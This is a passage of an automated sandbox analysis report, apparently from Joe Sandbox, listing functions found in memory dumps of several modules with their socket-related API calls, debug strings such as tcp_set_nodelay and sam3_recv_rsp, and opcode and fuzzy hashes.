Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

sock_set_blocking, xrefs: 00007FF8BA4F225D
[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BA4F2264

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: a429915bc11f3c506707949fc448ac0a6534b50bb89eadfb2e2ad2377f1bab6d
Instruction ID: 2f2336f8919745b9f3495371c818de0d3b8023708aeb08f26edb127c750d331b
Opcode Fuzzy Hash: a429915bc11f3c506707949fc448ac0a6534b50bb89eadfb2e2ad2377f1bab6d
Instruction Fuzzy Hash: 94F0F671F0C60296F32057ADAC405B65660EF857E4F119271EE2D833B4DE3CEA4A8700

Function 00007FF8B9152209 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8B915222F
WSAGetLastError.WS2_32 ref: 00007FF8B915224D

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9152264
sock_set_blocking, xrefs: 00007FF8B915225D

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 1289b7a90d17fec904992b7589ad629829b1e3bc695305fe6ce7cbd808189d16
Instruction ID: 3f2760fe8baa884364ab08d6b84d732b706c39ab5bbb6225552d4bed44006d37
Opcode Fuzzy Hash: 1289b7a90d17fec904992b7589ad629829b1e3bc695305fe6ce7cbd808189d16
Instruction Fuzzy Hash: 5BF0C2B6E0828246F7104F6DA8001B55660EB957D4F218231EE1D933A4DE3CE846E700

Function 00007FF8B9184D89 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8B9184DAF
WSAGetLastError.WS2_32 ref: 00007FF8B9184DCD

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9184DE4
sock_set_blocking, xrefs: 00007FF8B9184DDD

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 55c4fc8c7edf6649744f78dd5b51b38eff451531802172770dc8402a3ff2acae
Instruction ID: b56c794e7f13711f668ddc68cf9206314b4cc8595b9d85b383e1ecc3752187d6
Opcode Fuzzy Hash: 55c4fc8c7edf6649744f78dd5b51b38eff451531802172770dc8402a3ff2acae
Instruction Fuzzy Hash: 5FF02B61F0C18256F3104F2DA8401B96660AF947E4F118331EE2E933E5DE3CE847B701

Function 00007FF8BFB52349 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8BFB5236F
WSAGetLastError.WS2_32 ref: 00007FF8BFB5238D

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB523A4
sock_set_blocking, xrefs: 00007FF8BFB5239D

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 038bd755b02e3f66869641aed01428454bc9ad9afd8f2a63b256f54e22478d64
Instruction ID: 5c49cc86d297a1da9224adbb52b373ee3a9d1ae7eee50ab03f3966d6b1a772b9
Opcode Fuzzy Hash: 038bd755b02e3f66869641aed01428454bc9ad9afd8f2a63b256f54e22478d64
Instruction Fuzzy Hash: 84F09661F0D64396F75057ADA8101B97360AB947D4F144131EF2D87BA4EE7CE9468700

Function 00007FF8BFB313F9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8BFB3141F
WSAGetLastError.WS2_32 ref: 00007FF8BFB3143D

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

Strings

sock_set_blocking, xrefs: 00007FF8BFB3144D
[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB31454

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 2ea57274a692c49723bcaec0cb70b630c7dd65c16a70518f7afc343e942745d1
Instruction ID: ec4fce5cb663a7a586bcf2579707b35b64d9d83146bee0b60387a221d33d2a69
Opcode Fuzzy Hash: 2ea57274a692c49723bcaec0cb70b630c7dd65c16a70518f7afc343e942745d1
Instruction Fuzzy Hash: 37F06D61F8850342F7105BAEB8001B95364AB847D4F518232EF2E937A4EE3CE9568B01

Function 00007FF8BFB818D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8BFB818FF
WSAGetLastError.WS2_32 ref: 00007FF8BFB8191D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

sock_set_blocking, xrefs: 00007FF8BFB8192D
[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB81934

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 080e8fde5a2ba98204fe8d5300717fb1248164f312ba23c459eec33983392385
Instruction ID: 8410c7a29659df75c6854531af58257741b97c659d171a7f0c8538036e5edefd
Opcode Fuzzy Hash: 080e8fde5a2ba98204fe8d5300717fb1248164f312ba23c459eec33983392385
Instruction Fuzzy Hash: 23F09661F0D54282F7505BEDF8005B96360ABC47D8F108235EE1D837A5DE7CD946C701

Function 00007FF8BA4F233A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BA4F236A
WSAGetLastError.WS2_32 ref: 00007FF8BA4F2381

Strings

tcp_set_nodelay, xrefs: 00007FF8BA4F2391
[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BA4F2398

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: fac0814526277d35c4ae5de8df6aa49abb8a23ef8b610365522404217a87e9a8
Instruction ID: 7d0e35b8375e9d753062a057811b6269b886ae007a9bf495844f116486bfa8de
Opcode Fuzzy Hash: fac0814526277d35c4ae5de8df6aa49abb8a23ef8b610365522404217a87e9a8
Instruction Fuzzy Hash: 0DF0F6B1A0C10296F3205B6DBC405B62660EB847E4F008271EF5D837A4DF3CD64AC700

Function 00007FF8B915233A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8B915236A
WSAGetLastError.WS2_32 ref: 00007FF8B9152381

Strings

tcp_set_nodelay, xrefs: 00007FF8B9152391
[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9152398

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 9528aeaa2bf256ae8ff0f18ad45033aaf4b3f86c5b89e20fedb4b7824a9256c1
Instruction ID: 9675905ba5984215370ed3c1b91cc47f9745e2a17f9f0331bddb6e6b785d351b
Opcode Fuzzy Hash: 9528aeaa2bf256ae8ff0f18ad45033aaf4b3f86c5b89e20fedb4b7824a9256c1
Instruction Fuzzy Hash: C4F0F6A1B082824AF3505F1EB8001B66661AB883E4F108231EF5D837D4DF7CD589EB00

Function 00007FF8B9184EBA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8B9184EEA
WSAGetLastError.WS2_32 ref: 00007FF8B9184F01

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9184F18
tcp_set_nodelay, xrefs: 00007FF8B9184F11

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 4fd31f1ea14685cc47037a91840700bcfe726a69cab849f9c3268bbebf3dbd7d
Instruction ID: dbd5bd8f07a5da5b8f0c47525de92ea1b5b8f5faafe28a441d3196e73335dc97
Opcode Fuzzy Hash: 4fd31f1ea14685cc47037a91840700bcfe726a69cab849f9c3268bbebf3dbd7d
Instruction Fuzzy Hash: C5F0F661B085828AF3105F1DA8406B56661AB843E4F108231EE2D83BD5DF7CD947EB00

Function 00007FF8BFB5247A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB524AA
WSAGetLastError.WS2_32 ref: 00007FF8BFB524C1

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB524D8
tcp_set_nodelay, xrefs: 00007FF8BFB524D1

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 7cb9fb6779b5c95c1cc7d7e2f9da55888ed15e20daf20baedfc529e281c235e6
Instruction ID: f9b76121b091e8bf4ddbd983e265edd573ea8f91927c2e3b0d11004730f14cfc
Opcode Fuzzy Hash: 7cb9fb6779b5c95c1cc7d7e2f9da55888ed15e20daf20baedfc529e281c235e6
Instruction Fuzzy Hash: 84F09661A0915296F7105F9DF8005A67760BB947D4F004231EF5D83BD4DF7CE545CB00

Function 00007FF8BFB3152A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB3155A
WSAGetLastError.WS2_32 ref: 00007FF8BFB31571

Strings

tcp_set_nodelay, xrefs: 00007FF8BFB31581
[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB31588

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: fd868c65be3afd4cf4706a3199d6f8f6826288c199685166dd3a51f61f000229
Instruction ID: 48e0b97805db318802c7b9c02ab2419cece9deaf6ed4153e05c001858732126a
Opcode Fuzzy Hash: fd868c65be3afd4cf4706a3199d6f8f6826288c199685166dd3a51f61f000229
Instruction Fuzzy Hash: 9FF09661A4810346E310AFADB8405A56765BB847D4F508235EF6D837E4DE7CD949D700

Function 00007FF8BFB81A0A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB81A3A
WSAGetLastError.WS2_32 ref: 00007FF8BFB81A51

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB81A68
tcp_set_nodelay, xrefs: 00007FF8BFB81A61

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 0437d92ffc93275b6e345f4410a481b5b83083ff933dd21acdf64e7b0c4e13cb
Instruction ID: f8c01f93cc01feef4ef4e5cdb77bf74c3f573cb8a8c31f01d5d49b07241c880e
Opcode Fuzzy Hash: 0437d92ffc93275b6e345f4410a481b5b83083ff933dd21acdf64e7b0c4e13cb
Instruction Fuzzy Hash: CFF09661A0D15286F3105FADF8046B66760ABC47D4F048235EE6D83795DF7CD949CB00

Function 00007FF8BFB81A76 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB81A9E
WSAGetLastError.WS2_32 ref: 00007FF8BFB81AB5

Strings

tcp_set_keepalive, xrefs: 00007FF8BFB81AC5
[E] (%s) -> setsockopt(SO_KEEPALIVE) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB81ACC

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_KEEPALIVE) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_keepalive
API String ID: 1729277954-536111009
Opcode ID: efdd2f4e0631f6d227b78a496f5860539d083fedbc232eec6b79c452b0d326fa
Instruction ID: e0035c0396eadf7912557962a66d3eae1d985f310ec7c81925add4ad04bb38ab
Opcode Fuzzy Hash: efdd2f4e0631f6d227b78a496f5860539d083fedbc232eec6b79c452b0d326fa
Instruction Fuzzy Hash: 57F09061A0854286E3109FAEF8005756760AB887D4F10C331EA6D837A4DE3CD50ACB00

Function 00007FF8BFB8924C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF8BFB89285
strchr.MSVCRT ref: 00007FF8BFB892D1

Strings

[D] (%s) -> %s, xrefs: 00007FF8BFB892F2
sam3_recv_rsp, xrefs: 00007FF8BFB892EB

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: memsetstrchr
String ID: [D] (%s) -> %s$sam3_recv_rsp
API String ID: 2564583029-4292814133
Opcode ID: 6054bc854355412dd534d9800395cb815e31de645798f9446980f867bb94e619
Instruction ID: 471846009eb15f8d0148469fee1f802491f413c298e58b7d902158506ede7860
Opcode Fuzzy Hash: 6054bc854355412dd534d9800395cb815e31de645798f9446980f867bb94e619
Instruction Fuzzy Hash: CA215122F0C55242FE2155ED68147B867404F82FF0F688331EF7D8A7D6DE1CA842D201

Function 00007FF8BA4F1780 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BA4F17B9
LeaveCriticalSection.KERNEL32 ref: 00007FF8BA4F183B

Strings

[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FF8BA4F1811
ebus_dispatch, xrefs: 00007FF8BA4F180A

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
